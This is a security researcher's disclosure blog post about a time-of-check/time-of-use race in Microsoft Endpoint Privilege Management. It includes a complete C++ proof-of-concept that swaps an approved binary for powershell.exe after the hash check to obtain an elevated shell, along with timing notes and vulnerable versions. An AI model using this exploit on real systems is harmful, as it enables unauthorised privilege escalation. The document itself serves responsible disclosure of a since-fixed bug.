Introduction
Not too long ago I read an interesting blogpost by SpecterOps about Microsoft EPM that got my attention as I was not aware of this Microsoft product/feature.
It was interesting to learn that Microsoft expanded into the realm of Endpoint Privilege Management and since this means that there must be some service/driver running with high privileges that elevates low-privileged processes, I thought there could be potential vulnerabilities and bugs.
In the following blog post we will showcase the process of finding a bug, exploiting it, and reporting it to Microsoft.
DISCLAIMER: The research detailed in this blog was performed strictly for responsible and ethical security analysis. All vulnerabilities discovered during this research were responsibly disclosed to Microsoft prior to publication, as part of our commitment to contributing to the security community (see “Disclosure Timeline” section below).
What is Endpoint Privilege Management anyway?
Endpoint Privilege Management solutions allow organizations to escape the “Everyone’s a local admin” trap while still allowing users to perform their daily tasks that need elevated privileges.
This is done by allowing unprivileged users to run specific applications, according to an enterprise-defined policy, as a high-privilege account.
What is Microsoft EPM?
Microsoft Endpoint Privilege Management (EPM) is an optional add-on component to Microsoft’s Intune.
Microsoft Intune is Microsoft’s MDM (Mobile Device Management) solution used to manage devices/endpoints and to access organizational resources in the cloud.
Microsoft EPM’s purpose is to allow an organization administrator to define a set of policies and rules that allow an unprivileged user to run specific programs as an elevated user (Administrator privileges).
The main benefit of an EPM solution is that users don’t need to be local administrators on their machine, they only need rules/policies that will allow them to execute programs that need Elevated Privileges.
Microsoft EPM System Architecture
Diagram 1: Microsoft’s EPM Architecture Diagram
Microsoft EPM’s architecture is comprised of the following components:
- EPMShellExtension.dll – a shell extension (COM Server) that extends the right-click context menu (“Run with elevated access”).
- EPMClientStub.exe – a .NET executable binary which is invoked by the EPMShellExtension.dll and communicates directly with EPMService.exe through a named pipe (named pipe name is randomly generated and saved in registry) to initiate the elevation of a target program.
- EPMService.exe – a .NET service executable binary, the system’s main component, that mainly handles IPC requests (Create and listens on a named pipe), that should elevate the target application, and sync the policies from the server, this service is running as “NT AUTHORITY\SYSTEM”.
- MEMEpmAgent.sys – a device driver, responsible for monitoring new process creation.
- EPMServiceStub.exe – a .NET executable binary whose sole purpose is to invoke EpmInterop.dll’s export RunAsAdmin that handles the use case in which a Virtual Account has been created and is used to run the application with high privileges.
- EpmConsentUI.exe – Overrides ConsentUI.exe (User Account Control) dialog with EPM dialog.
- EpmInterop.dll – a native dynamic-link-library (DLL) binary that exports functions critical for the elevation process, and consumed by EPMService.exe, EPMClientStub.exe, EPMServiceStub.exe.
Diagram 2: Right-Clicking a program and Clicking “Run with Elevated Access”.
When a user attempts to execute a program with “Run with elevated access”, an IPC request is sent from EPMClientStub.exe, which is spawned by a Shell Extension’s COM Server, to a Named Pipe created by the EPM Service.
Whether the request will succeed or fail is according to the policies/rules defined by the organization’s administrator.
Diagram 3: Dialog shown when a “Run with elevated access” request fails.
If a policy/rule that allows the specific application/program to run according to the application name/hash/signature exist, and the name/hash/signature is valid then the application will execute with elevated privileges.
If the process is already elevated it will be executed by calling the function CreateProcessAsUserEx which is exported from EpmInterop.dll or in the other case by executing EpmServiceStub.exe which calls the function RunAsAdmin also exported by EpmInterop.dll in case that a Virtual Account has been created for the elevation process.
EPM’s Execution Flow
As mentioned in the previous paragraph, once a user right-clicks on an application shortcut and then clicks on “Run with elevated access” an IPC request is sent to the ProcessExecutionRequestNamedPipeIpcServer.
The request is then processed by the EPMService’s (Running as SYSTEM, as mentioned before) HandleRequest method of the ProcessExecutionRequestNamedPipeIpcServer class, first by deserializing the request’s data which is in JSON format.
Then later calls to GetClientInformation method to collect data about the client that invoked the request and retrieves the client’s user token.
After calling GetClientInformation the function execution continues until it eventually calls ProcessMessage method in PrivilegeWorker class.
Diagram 4: Decompiled code of HandleRequest method (continued in diagram 5).
Diagram 5: Continued decompiled code of HandleRequest method.
ProcessMessage method first calls Resolve method and then later calls ProcessElevationTypeAndLaunchElevatedProcess.
The Resolve method will calculate the file hash of the target application and will check the file hash against the relevant rule/policy of the target application.
Diagram 6: Decompiled code of ProcessMessage method.
ProcessElevationTypeAndLaunchElevatedProcess eventually calls LaunchElevatedProcess.
Diagram 7: Decompiled code of ProcessElevationTypeAndLaunchElevatedProcess method.
Finally, ResolveElevatedToken will be called and then later CreateProcessAsUser which will execute the target application in the elevated context.
Diagram 8: Decompiled code of LaunchElevatedProcess method calling ResolveElevatedToken and CreateProcessAsUser.
At this point, can you spot the bug?
The Bug
The bug is pretty simple to understand, once you understand what Microsoft EPM is used for and how it works.
When a new elevation request is created by the EPM client, for elevation rules that have a file hash configured, the client calculates the executable file’s hash and compares it with the specified hash for that executable once that step is done, it will continue with the elevation process and will execute the program in the new virtual account context with elevated privileges.
Diagram 9: Highlighting Time-of-check/Time-of-use occurance and timewindow over decompiled code of ProcessMessage method.
Since there is a time gap between the time of validating the hash of the program and the execution itself, it leaves us with a time window to race against the EPMService and replace the program’s binary on disk with a different program’s binary that we want to elevate such as a cmd.exe, powershell.exe , or your favorite malware. This is a TOCTOU vulnerability.
Time-of-check/Time-of-use (TOCTOU) is a class of security vulnerabilities that occur when a system component validates (checks) an attacker-controllable resource prior to consuming (using) it, and an attacker is able to modify the resource in the time window between the check and the use.
TOCTOU is a common logical bug used to bypass file integrity checks.
If we manage to win the race condition we get an elevated shell that allows us to easily even escalate privileges to NT AUTHORITY\\SYSTEM with a tool such as PsExec.exe.
Exploiting the Bug
Although the theory is easy, in order to actually write a working exploit we had to overcome some obstacles in order to make the exact timing by using threads in REAL_TIME_PRIORITY (also obviously this is a POC and I did not handle errors/failures correctly).
Please see the code that was used to exploit this vulnerability below:
#include <iostream> #include <windows.h> #include <psapi.h> #include <tlhelp32.h> #include <ktmw32.h> HANDLE hReplaceThread = NULL; DWORD milliseconds = 0; bool isMoved = false; const char* hijackApp = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"; const char* runFile = "C:\\Program Files\\Microsoft EPM Agent\\EPMClient\\EpmClientStub.exe"; const char* elevatedAppFormat = "%s\\Desktop\\tcpvcon64.exe"; char elevatedApp[MAX_PATH] = { 0 }; char originalSysmon[MAX_PATH] = { 0 }; DWORD ThreadStartRoutine(LPVOID lpThreadParameter) { DWORD bytesWritten = 0; if (milliseconds > 0) Sleep(milliseconds); for (int i = 0; i < 10000; i++) { isMoved = CopyFileA(hijackApp, elevatedApp, false); if (isMoved) { printf("[*] File has moved successfully!\n"); break; } else { // not printing this line because it takes too long and causes a delay // printf("[!] Failed to move file with error 0x%llx\n", GetLastError()); } } return 0; } int main(int argc, char* argv[]) { SHELLEXECUTEINFOW exInfo = { 0 }; char commandLine[0x1000] = { 0 }; char userprofile[MAX_PATH] = { 0 }; GetEnvironmentVariableA("UserProfile", (LPSTR)userprofile, MAX_PATH); sprintf(elevatedApp, elevatedAppFormat, userprofile); sprintf(commandLine, (const char*)"\"%s\" \"%s\"", runFile, elevatedApp); char* sleepTime = argv[1]; milliseconds = atoi(sleepTime); PROCESS_INFORMATION pi = { 0 }; STARTUPINFOA si = { 0 }; si.cb = sizeof(STARTUPINFO); SetThreadPriority(GetCurrentThread(), NORMAL_PRIORITY_CLASS); DeleteFileA(elevatedApp); sprintf(originalSysmon, "%s\\Downloads\\SysInternalsSuite\\tcpvcon64.exe", userprofile); CopyFileA(originalSysmon, elevatedApp, false); Sleep(500); bool bRetCode = CreateProcessA(runFile, (LPSTR)commandLine, NULL, NULL, CREATE_SUSPENDED, NORMAL_PRIORITY_CLASS, NULL, NULL, (LPSTARTUPINFOA)&si, &pi); if (bRetCode) { printf("[*] CreateProcessA completed successfully!\n"); } else { printf("[!] CreateProcessA failed! 0x%llx\n", GetLastError()); } BYTE* data = NULL; ResumeThread(pi.hThread); hReplaceThread = CreateThread(NULL, 0, ThreadStartRoutine, data, REALTIME_PRIORITY_CLASS, 0); WaitForSingleObject(hReplaceThread, INFINITE); Sleep(1000); }
Snippet 1: Proof-of-concept code to exploit the aforementioned bug.
Some side notes about the exploit:
- Since this is a timing bug, the delay time may differ on different machines or even on the same machine (with different load/CPU consumption).
- The exploit is designed to handle this difference by passing an argument of delay time (in milliseconds), as a rough guideline on my virtual machine when there are no heavy applications running 55ms worked consistently.
- The vulnerable versions of EPMService.exe are <= 6.2408.34.1004
- Please note that we used tcpvcon64.exe as our target app, meaning that we created a policy to elevate it automatically in MSFT EPM and abused this rule/policy for our exploit, but any application and policy pair can be used.
- Also, similarly to an application elevation rule that is based on a hash, a signature/certificate-based elevation rule can be used as well.
Conclusion
Although Microsoft did not assess this vulnerability as “Critical” for their own reasons and did not assign a CVE for the issue, in my opinion this issue is of significant impact!
The reliability of Security products in our day and age, when nation-state sponsored adversaries are on the prowl, is extremely important.
When a Security product is distributed with a vulnerability, it becomes a potential backdoor, which means that the end-user is losing twice:
- The end-user is vulnerable and can be breached.
- The end-user have a false sense-of-security as they invested resources in a security product to avoid this exact situation.
For those reasons, we believe that security products should be heavily tested and checked for these kinds of bugs prior to their deployment and final release to customers.
Although this vulnerability is not known to be exploited in-the-wild it could have been easily used by a nation-state or even cyber-criminals to ease their life during the “gaining privileges” and “lateral movement” phases, in an espionage or human-operated ransomware campaign.
Disclosure Timeline
- August 12, 2024 — Report submitted
- August 13, 2024 — Status changed from “New” to “Review/Repro”
- September 2, 2024 — MSRC confirmed the reported behavior
- September 9, 2024 — Status changed from “Review/Repro” to “Develop”
- September 10, 2024 — Status changed from “Develop” to “Pre-Release”
- September 10, 2024 — Status changed from “Pre-Release” to “Complete”
- September 30, 2024 — MSRC Online Services acknowledgement
Unfortunately for us, Microsoft decided not to grant us with a CVE for this bug, although it was addressed and fixed by them.
According to their assessment the bug was classified as “Important” severity.
Quote: “The fix for this issue has been addressed. The fix requires no user action and is not assessed as a Critical severity issue, so a CVE would not be published for the case.”.
References
https://posts.specterops.io/intune-attack-paths-part-1-4ad1882c1811
https://posts.specterops.io/getting-intune-with-bugs-and-tokens-a-journey-through-epm-013b431e7f49